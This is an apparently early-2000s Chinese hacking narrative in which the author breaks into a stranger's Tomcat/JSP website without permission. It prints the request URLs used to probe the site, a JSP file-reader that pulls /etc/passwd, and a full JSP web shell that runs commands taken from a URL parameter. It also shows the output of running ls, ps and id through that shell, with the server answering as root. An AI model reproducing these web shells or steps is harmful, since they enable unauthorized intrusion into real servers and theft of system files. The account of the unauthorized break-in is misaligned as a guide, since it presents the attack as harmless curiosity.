很偶然的一个机会,浏览到一个网站,页面清新让人感觉很舒服。网站是用JSP开发的,出于个人爱好,我决定测试一下其系统的安全性。
telnet www.target.com 8080
GET /CHINANSL HTTP/1.1
[Enter]
[Enter]
返回的结果如下:
| HTTP/1.0 404 Not Found Date: Sun, 08 Jul 2001 07:49:13 GMT Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2 .2.12 i386; java.vendor=Blackdown Java-Linux Team) Content-Language: en Content-Type: text/html Status: 404 〈h1〉Error: 404〈/h1〉 〈h2〉Location: /CHINANSL〈/h2〉File Not Found〈br〉/CHINANSL |
| http://target:8080/../../../../%00.jsp (不行) http://target:8080/file/index.jsp (不行) http://target:8080/index.JSP (不行) http://target:8080/index.jsp%81 (不行) http://target:8080/index.js%70 (不行) http://target:8080/index.jsp%2581 (不行) http://target:8080/WEB-INF/ (不行) |
| http://target:8080/admin/ |
| 〈%@ page import="java.io.*" %〉 〈% String file = request.getParameter("file"); String str = ""; FileInputStream fis = null; DataInputStream dis = null; try{ fis = new FileInputStream(file); dis = new DataInputStream(fis); while(true){ try{ str = dis.readLine(); }catch(Exception e){} if(str == null)break; out.print(str+"〈br〉"); } }catch(IOException e){} %〉 |
| http://target:8080/upload/test.jsp?file=/etc/passwd |
密码出来了。接下来的过程是猜测密码,没有成功。不过,现在相当于有了一个SHELL,猜不出密码可以先把IE当作SHELL环境。
再写一个JSP文件:
| 〈%@ page import="java.io.*" %〉 〈% try { String cmd = request.getParameter("cmd"); Process child = Runtime.getRuntime().exec(cmd); InputStream in = child.getInputStream(); int c; while ((c = in.read()) != -1) { out.print((char)c); } in.close(); try { child.waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } } catch (IOException e) { System.err.println(e); } %〉 |
| http://target:8080/upload/cmd.jsp?cmd=ls+-la+/ (详细结果这里就不列出来了) |
| sqld"〉http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld |
| root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql |
| http://target:8080/upload/cmd.jsp?cmd=id |
| uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx) |
| http://target:8080/upload/cmd.jsp?cmd=ps+aux 果然是root身份运行的(不列出来了) |